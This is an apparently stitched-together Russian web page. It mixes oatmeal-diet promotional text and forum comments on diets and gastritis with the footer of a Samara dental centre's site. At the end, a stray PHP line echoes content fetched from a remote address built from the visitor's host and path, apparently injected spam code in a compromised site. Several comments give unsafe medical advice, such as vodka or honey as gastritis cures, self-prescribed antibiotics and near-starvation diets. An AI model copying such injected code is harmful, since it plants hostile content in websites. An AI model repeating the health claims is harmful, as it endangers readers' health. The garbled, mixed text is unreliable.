Меню, продукты и исключения овсяной диеты. Овсяная диета по мнению многих диетологов, самая полезная из всех злаковых видов диет.

Какой суп - вегетарианский или на бульоне?

Нормальной еды емае... если нажрала то не в еде дело, а в кол-ве и жирной еды ела

Сдохнешь быстро, вот и вся твоя диета. :))

Скажу что под конец первого дня так захочеться кушать что съешь все что планировала за неделю)) даже сдешние советчики 400кал в день не посоветуют!

Действительно -голодная фигня!!! 1000 калорий-это как минимум должно быть. только здоровье потеряешь, а не кило.

Овсяная диета понравится любительницам экономить на еде.Меню овсяной диеты. Существует несколько вариантов диеты

Похудеете на 3 кг. что потом? 9 мая - там по старой схеме?

Распишите пожалуйста меню правильного питание при диете Что можно кушать что нельзя !

Воду пей

Овсяная диета для похудения отличается простыми правилами, соблюдать которые сможетВ магазине можно найти еще и мюсли, хлебцы, овсяное печенье и т.п. Меню получится...

Бананы, жирное мясо, мучные продукты!

Нельзя жаренного, жирного. мучное, солёности и копчёности ...Можно тушёные, варёные (на пару).. кушать небольшими порциями 5-6 раз в день, за 4 часа до сна ничего не хрумкать.
Лучше всего под здоровое питание подходит диета №5

А к диетологу не сходить, это супер-пупер проблема

Ешь вареные овощи, кефир, геркулес и гречку. Всё.

А диета то какая? Со здоровьем связана или с лишним весом? К тому же все организмы разные! К диетологу нужно. Хоть книжку почитать, чтобы про себя любимую всё понять.

Овсяная каша является основным компонентом данной системы питания. Меню диеты предполагает употребление одной порции овсянки приготовленной на воде на завтрак, обед...

Например утро каша овсяная горсть чернослива через 3 часа ломоть отварного мяса грудки салат 3 часа потом суп хлеб с отрубями яблоко банан 3часа потом запеченная рыба каша листовой салат 3 часа потом стакан кефира яйцо отварное. фрукты надо кушать до 16 00

Диет 15 в зависимости от заболевания Вам какую?

Питание при гастрите

Так есть же разработанные диеты..
кидаю ссылку с примерами меню и продуктами разрешенными и запрещенными. Не совсем читабельно, зато полно

Овсяная диета - меню. Монодиеты бывают самые разные, хотя показаны они далеко не всем.Меню на неделю для овсяной диеты может быть примерно таким

Пей водку. Гастрит вызван бактерией. Измени свой привычный ритм жизни. Она умрет сука.

По утрам натощак 1 сл ложка меда запить теплой водой. Забудете про гастрит, если будете употреблять мед постоянно.

Мне когда то прописывали, минимум соли, исключить острое, жареное жирное. Отварное не жирное мясо, каши типа овсянки, рис, а вообще конечно врач должен сказать.

Все на пару, котлетки там .. Мучным не злоупотребляйте. Перченым. А вообще, вам бы дней 10 пропить антибиотики, это врач должен прописать, и паралелльно правильно питаться. Кашу овсяную на воде, без соли по утрам. АЛЬМАГЕЛЬ, ЛОСЕК пропейте, помогает даже при язвах.

Разве так сложно погуглить самому? Хотя бы зайти на gastrit.ru, gastromap.ru,лечебные диеты по Певзнеру и тд.

Овсяная диета советы, меню, отзывы и другая полезная информация о диете - До 1 недели - До 4 кг в неделю - Овсяная диета для похудения - Леди Mail.Ru.

Я тоже думала, что у меня желудок болит. Ошиблась. Не поленитесь, сходите к врачу. ФГДС (больше всего на свете этого боялась), анализы, УЗИ и все станет ясно. При гастрите диета №1, насколько помню. Но к врачу обязательно!

Овсяная диета.меню
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта